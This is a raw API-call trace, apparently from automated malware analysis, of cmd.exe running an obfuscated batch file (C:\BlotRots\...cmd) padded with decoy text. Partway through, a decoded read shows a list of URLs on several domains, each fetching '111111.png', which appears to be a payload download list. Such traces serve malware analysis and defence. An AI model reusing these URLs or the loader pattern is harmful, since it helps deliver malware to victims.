[0231.673] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.673] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.673] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.673] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.673] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.673] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.673] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.673] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.673] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.673] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.673] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0231.673] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0231.673] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0231.674] ??_V@YAXPEAX@Z () returned 0x1 [0231.674] GetProcessHeap () returned 0x20b0f920000 [0231.674] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0231.674] GetProcessHeap () returned 0x20b0f920000 [0231.674] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f957240 [0231.674] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.674] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.675] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.675] GetProcessHeap () returned 0x20b0f920000 [0231.675] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0231.676] SetErrorMode (uMode=0x0) returned 0x0 [0231.676] SetErrorMode (uMode=0x1) returned 0x0 [0231.676] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0231.676] SetErrorMode (uMode=0x0) returned 0x1 [0231.676] GetProcessHeap () returned 0x20b0f920000 [0231.676] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0231.676] GetProcessHeap () returned 0x20b0f920000 [0231.676] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0231.676] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.676] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.676] GetProcessHeap () returned 0x20b0f920000 [0231.676] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0231.677] GetProcessHeap () returned 0x20b0f920000 [0231.677] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0231.677] GetProcessHeap () returned 0x20b0f920000 [0231.677] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0231.677] GetProcessHeap () returned 0x20b0f920000 [0231.677] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0231.677] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.677] GetProcessHeap () returned 0x20b0f920000 [0231.677] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947550 [0231.677] GetProcessHeap () returned 0x20b0f920000 [0231.677] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947550, Size=0x7e) returned 0x20b0f956a30 [0231.677] GetProcessHeap () returned 0x20b0f920000 [0231.677] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956a30) returned 0x7e [0231.677] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.677] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ccd0 [0231.677] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0231.677] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.678] GetLastError () returned 0x2 [0231.678] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.678] GetLastError () returned 0x2 [0231.678] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.678] GetLastError () returned 0x2 [0231.678] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.678] GetLastError () returned 0x2 [0231.678] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.679] GetLastError () returned 0x2 [0231.679] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.679] GetLastError () returned 0x2 [0231.679] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.679] GetLastError () returned 0x2 [0231.679] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.679] GetLastError () returned 0x2 [0231.679] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.680] GetLastError () returned 0x2 [0231.680] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.680] GetLastError () returned 0x2 [0231.680] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.680] GetLastError () returned 0x2 [0231.680] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.680] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.681] GetLastError () returned 0x2 [0231.681] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.681] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d090 [0231.681] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0231.681] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.681] GetLastError () returned 0x2 [0231.681] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.681] GetLastError () returned 0x2 [0231.681] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.682] GetLastError () returned 0x2 [0231.682] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.682] GetLastError () returned 0x2 [0231.682] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.682] GetLastError () returned 0x2 [0231.682] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.682] GetLastError () returned 0x2 [0231.682] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.683] GetLastError () returned 0x2 [0231.683] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.683] GetLastError () returned 0x2 [0231.683] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.683] GetLastError () returned 0x2 [0231.683] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.683] GetLastError () returned 0x2 [0231.683] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.683] GetLastError () returned 0x2 [0231.683] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.683] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.684] GetLastError () returned 0x2 [0231.684] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.684] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.684] GetLastError () returned 0x2 [0231.684] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.684] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.684] GetLastError () returned 0x2 [0231.684] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.684] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.685] GetLastError () returned 0x2 [0231.685] ??_V@YAXPEAX@Z () returned 0x1 [0231.685] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.685] GetFileType (hFile=0x54) returned 0x2 [0231.685] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0231.685] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.686] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.686] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.686] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.686] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0231.686] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0231.694] ??_V@YAXPEAX@Z () returned 0x1 [0231.695] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.695] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.695] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.695] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.696] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.696] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.696] SetConsoleInputExeNameW () returned 0x1 [0231.696] GetConsoleOutputCP () returned 0x1b5 [0231.697] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.697] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.697] ??_V@YAXPEAX@Z () returned 0x1 [0231.698] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.698] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.699] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.699] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3990, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf96 [0231.699] GetProcessHeap () returned 0x20b0f920000 [0231.699] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0231.699] GetProcessHeap () returned 0x20b0f920000 [0231.699] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.699] GetProcessHeap () returned 0x20b0f920000 [0231.699] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0231.699] GetProcessHeap () returned 0x20b0f920000 [0231.699] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0231.700] GetProcessHeap () returned 0x20b0f920000 [0231.700] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957240) returned 1 [0231.700] GetProcessHeap () returned 0x20b0f920000 [0231.700] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0231.701] GetProcessHeap () returned 0x20b0f920000 [0231.701] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956910) returned 1 [0231.701] GetProcessHeap () returned 0x20b0f920000 [0231.701] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.701] GetProcessHeap () returned 0x20b0f920000 [0231.701] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0231.701] GetProcessHeap () returned 0x20b0f920000 [0231.701] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.703] GetProcessHeap () returned 0x20b0f920000 [0231.703] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0231.703] GetProcessHeap () returned 0x20b0f920000 [0231.703] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0231.703] GetProcessHeap () returned 0x20b0f920000 [0231.703] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.703] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.704] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf96 [0231.704] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x81f, lpOverlapped=0x0) returned 1 [0231.704] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4081, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff1 [0231.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0231.704] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.704] GetFileType (hFile=0x9c) returned 0x1 [0231.704] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.704] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xff1 [0231.705] GetProcessHeap () returned 0x20b0f920000 [0231.705] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.706] GetProcessHeap () returned 0x20b0f920000 [0231.706] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.706] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0231.706] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0231.706] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0231.706] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0231.706] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0231.706] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0231.706] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0231.706] GetProcessHeap () returned 0x20b0f920000 [0231.706] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.706] GetProcessHeap () returned 0x20b0f920000 [0231.706] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0231.706] GetProcessHeap () returned 0x20b0f920000 [0231.706] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f926ea0 [0231.706] _tell (_FileHandle=3) returned 4081 [0231.706] _close (_FileHandle=3) returned 0 [0231.707] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.707] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.707] GetFileType (hFile=0x50) returned 0x2 [0231.707] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.707] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.708] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.708] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.715] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.715] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.715] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.715] GetFileType (hFile=0x50) returned 0x2 [0231.715] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.715] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.715] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.716] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.716] GetFileType (hFile=0x50) returned 0x2 [0231.716] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.716] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.717] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.717] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0231.717] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0231.717] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.717] GetFileType (hFile=0x50) returned 0x2 [0231.717] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.717] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0231.718] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.718] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0231.718] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0231.718] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.718] GetFileType (hFile=0x50) returned 0x2 [0231.718] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.718] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.719] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.719] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.730] malloc (_Size=0xffce) returned 0x20b0fa60940 [0231.731] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0231.731] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.731] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.732] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.732] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.732] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.732] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.732] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.732] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.732] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.732] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.732] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.732] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.732] 